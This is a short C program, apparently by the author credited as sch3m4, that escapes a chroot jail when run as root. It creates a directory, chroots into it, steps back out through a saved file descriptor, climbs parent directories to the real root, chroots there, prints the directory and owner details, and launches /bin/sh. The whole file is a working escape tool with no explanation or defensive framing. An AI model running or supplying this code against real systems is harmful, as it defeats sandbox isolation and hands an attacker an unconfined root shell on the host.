/*
Chema Garcia (a.k.a. sch3m4)

sch3m4@opensec.es

http://opensec.es

*/

#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <pwd.h>

#define FOLDER      "chbrk"
#define PERM        0700
#define MAX_CHDIR   200

#define SHELL       "/bin/sh"

int main()
{
    int           fd;
    struct stat   statf;
    ino_t         aux;
    unsigned int  cont;
    struct passwd *owner;
    char          *directory;

    if(getuid()!=0)
    {
        fprintf(stderr,"\nThis program cannot work without root privileges\n");
        return -1;
    }

    fd=open(".",O_RDONLY);
    mkdir(FOLDER,PERM);
    chroot(FOLDER);
    fchdir(fd);
    close(fd);

    aux=0;
    cont=0;
    while(!stat(".",&statf) && aux!=statf.st_ino && cont++ < MAX_CHDIR)
    {
        aux=statf.st_ino;
        chdir("..");
    }

    if(aux==statf.st_ino)
    {
        chroot(".");
        owner=getpwuid(statf.st_uid);

        directory=getcwd(0,0);
        fprintf(stderr,"\n+=[ Done! ]=+\n");
        fprintf(stderr,"\n+ Directory:  %s",directory);
        fprintf(stderr,"\n+ Inode:      %d",(int)statf.st_ino);
        fprintf(stderr,"\n+ Owner:      id=%d (%s) / gid=%d \n\n",owner->pw_uid,owner->pw_name,owner->pw_gid);
        free(directory);

        execl(SHELL,(char*)0,(char*)0);
    }

   return 0;
}